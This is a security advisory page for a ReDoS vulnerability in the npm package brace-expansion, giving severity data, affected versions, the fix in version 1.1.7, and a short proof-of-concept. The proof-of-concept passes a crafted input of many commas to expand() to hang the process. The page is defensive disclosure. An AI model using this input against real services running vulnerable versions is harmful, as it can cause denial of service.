GHSA-832h-xg76-4gv6

Suggest an improvement
Source
https://github.com/advisories/GHSA-832h-xg76-4gv6
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/01/GHSA-832h-xg76-4gv6/GHSA-832h-xg76-4gv6.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-832h-xg76-4gv6
Aliases
Published
2018-01-29T15:50:46Z
Modified
2023-11-01T04:48:03Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
ReDoS in brace-expansion
Details

Affected versions of brace-expansion are vulnerable to a regular expression denial of service condition.

Proof of Concept

var expand = require('brace-expansion');
expand('{,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,\n}');

Recommendation

Update to version 1.1.7 or later.

Database specific 
{
    "cwe_ids": [
        "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:24:01Z",
    "nvd_published_at": null,
    "severity": "HIGH"
}
References

Affected packages

npm / brace-expansion

Package

Name
brace-expansion
View open source insights on deps.dev
Purl
pkg:npm/brace-expansion

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
1.1.7

Database specific

source 
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/01/GHSA-832h-xg76-4gv6/GHSA-832h-xg76-4gv6.json"